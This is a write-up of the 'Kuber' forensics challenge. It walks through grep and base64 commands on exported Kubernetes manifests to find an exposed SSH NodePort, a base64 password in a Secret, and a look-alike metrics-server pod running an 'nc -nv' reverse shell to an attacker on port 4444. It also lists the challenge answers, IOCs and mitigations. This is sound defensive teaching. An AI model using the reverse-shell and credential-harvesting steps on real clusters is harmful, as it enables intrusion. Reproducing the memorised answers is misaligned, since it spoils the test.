Kuber is an easy Sherlock designed to help you understand the structure of Kubernetes resources. You will learn to analyse resource dumps from a Kubernetes cluster, enabling you to identify malicious activities and assess potential attack vectors. Through this process, you will gain insights into how an attacker can compromise the cluster and escalate privileges to gain full access to the host system.
The cluster exposed an SSH deployment to the outside through a NodePort service, with its configuration and login password stored in a ConfigMap and a Secret in kube-system. Those objects are readable by anyone with API access, and the Secret is only base64-encoded. The attacker then created a pod in kube-system named to look like the cluster’s metrics component, built from a minimal public image. Its command line opens a netcat reverse shell to an attacker-controlled host. The whole case reads straight out of the exported YAML manifests.
evidence/kube-system/*.yaml → read with grep and a text editor. One file per resource type: service.yaml, configmaps.yaml, secrets.yaml, pods.yaml, plus deployment, daemonset, job, serviceaccount and namespace manifestssecrets.yaml → values under data: are base64, decode with base64 -dFormat note: Every answer is a plain string. The task format masks are a good check on the shape of the answer (octet count, trailing character, length).
Start with service.yaml, since a NodePort is a property of a Service object. Find the ssh-deployment entry and read spec.ports[].nodePort. The port and targetPort fields next to it are the in-cluster values, not the externally reachable one.
grep -n -B8 -A8 nodePort evidence/kube-system/service.yaml
Gotcha:
port: 22is the service port inside the cluster. The externally exposed one is the high port innodePort.
The wording points at the cluster, but the value the task wants is the clusterIP of the ssh-deployment service, in the same service.yaml entry as Q1. The mask *.*.*.* is a dotted quad.
grep -n clusterIP evidence/kube-system/service.yaml
Gotcha: The cluster’s own default
kubernetesservice address only appeared as a certificate SAN in the dump, and it was not accepted. Read the question as the ClusterIP of the service from Q1.
Open configmaps.yaml and locate the ssh-config object. ConfigMaps store plain text, so the flag sits in its data: block under a FLAG key with no decoding needed. Anything placed in a ConfigMap is readable by every principal that can get it, which is why it should never hold credentials.
grep -n -A12 'name: ssh-config' evidence/kube-system/configmaps.yaml
The SSH deployment takes its login from a Secret named ssh-secret in secrets.yaml. The password is under USER_PASSWORD, stored base64-encoded. Base64 is an encoding, not encryption, so decoding it takes one command.
grep -n USER_PASSWORD evidence/kube-system/secrets.yaml
echo '<base64 value from USER_PASSWORD>' | base64 -d
Tip: The mask ends in
!, which is a quick sanity check that the decode is clean and not missing a trailing character.
Review pods.yaml for anything that does not belong. One pod in kube-system is named like the metrics-server component, with a ReplicaSet-style hash suffix to look like a deployment-managed pod, but its container runs a netcat command instead of a metrics workload. That mismatch between the name and the command is the tell. This is a judgement from the name and the command line in the manifest; the dump gives no log of who created it.
grep -n -E 'name:|image:|nc ' evidence/kube-system/pods.yaml
From Q5, read the image: field of that pod’s container spec in pods.yaml. It is a bare, minimal public image with no registry path or tag-versioned component name, which is what you would pull when you only need a shell and nc.
grep -n -A12 'metrics-server-557ff575fx' evidence/kube-system/pods.yaml
The same container spec from Q5 carries the payload in its command/args: an nc -nv <ip> 4444 call that connects outbound to the attacker. The -n flag skips DNS, so the destination is a literal address and the IP can be read directly from the manifest.
grep -n 'nc -nv' evidence/kube-system/pods.yaml
| Phase | Action |
|---|---|
| Discovery | SSH service exposed externally through a NodePort on the ssh-deployment service |
| Credential Access | Configuration and a flag readable in the ssh-config ConfigMap |
| Credential Access | SSH password recovered by base64-decoding ssh-secret |
| Execution | Pod created in kube-system from the alpine image |
| Defense Evasion | Pod named to resemble the metrics-server component |
| Command and Control | Pod runs nc -nv to the attacker on port 4444 for a reverse shell |
| Type | Value |
|---|---|
| IP (attacker) | 10.10.14[.]11 |
| Port (reverse shell) | 4444 |
| Pod | metrics-server-557ff575fx-4q62x |
| Image | alpine |
| Service | ssh-deployment, NodePort 31337, ClusterIP 10.43.191[.]212 |
| Secret | ssh-secret (USER_PASSWORD) |
| ConfigMap | ssh-config |
| Technique | ID | Description |
|---|---|---|
| Container and Resource Discovery | T1613 | Service, ConfigMap, Secret and pod objects enumerated in kube-system |
| Unsecured Credentials: Container API | T1552.007 | SSH password held in a Kubernetes Secret, only base64-encoded |
| Deploy Container | T1610 | Pod created from the alpine image |
| Masquerading: Match Legitimate Name or Location | T1036.005 | Pod named like the metrics-server component in kube-system |
| Command and Scripting Interpreter: Unix Shell | T1059.004 | nc -nv reverse shell inside the container |
Do not expose SSH through a NodePort. The ssh-deployment service was reachable from outside the cluster on a high port. A bastion, a VPN, or ClusterIP plus kubectl port-forward removes that entry point.
Keep credentials out of ConfigMaps and treat Secrets as readable. The flag lived in a ConfigMap in clear text, and the SSH password in a Secret was one base64 -d away. Restrict get and list on Secrets with RBAC, enable encryption at rest, and move real credentials to an external secret manager.
Alert on new pods in kube-system that do not match a known controller. A pod named like metrics-server but running nc rather than the metrics binary is easy to spot by diffing running pods against the expected workloads. Admission control (Pod Security Admission, OPA Gatekeeper or Kyverno) can block unapproved images and namespaces.
Block or alert on netcat and outbound shells from containers. A container command containing nc -nv <ip> <port> is a reverse shell. Egress network policies that deny arbitrary outbound connections, and runtime detection on nc execution, would have cut the callback.
The attacker needed nothing exotic: an exposed service, credentials stored in objects any API reader can fetch, and one look-alike pod in
kube-systemwith a netcat callback. Every step is visible in the YAML dump, so the lesson is to review what is allowed to run inkube-systemand what the cluster stores in the clear.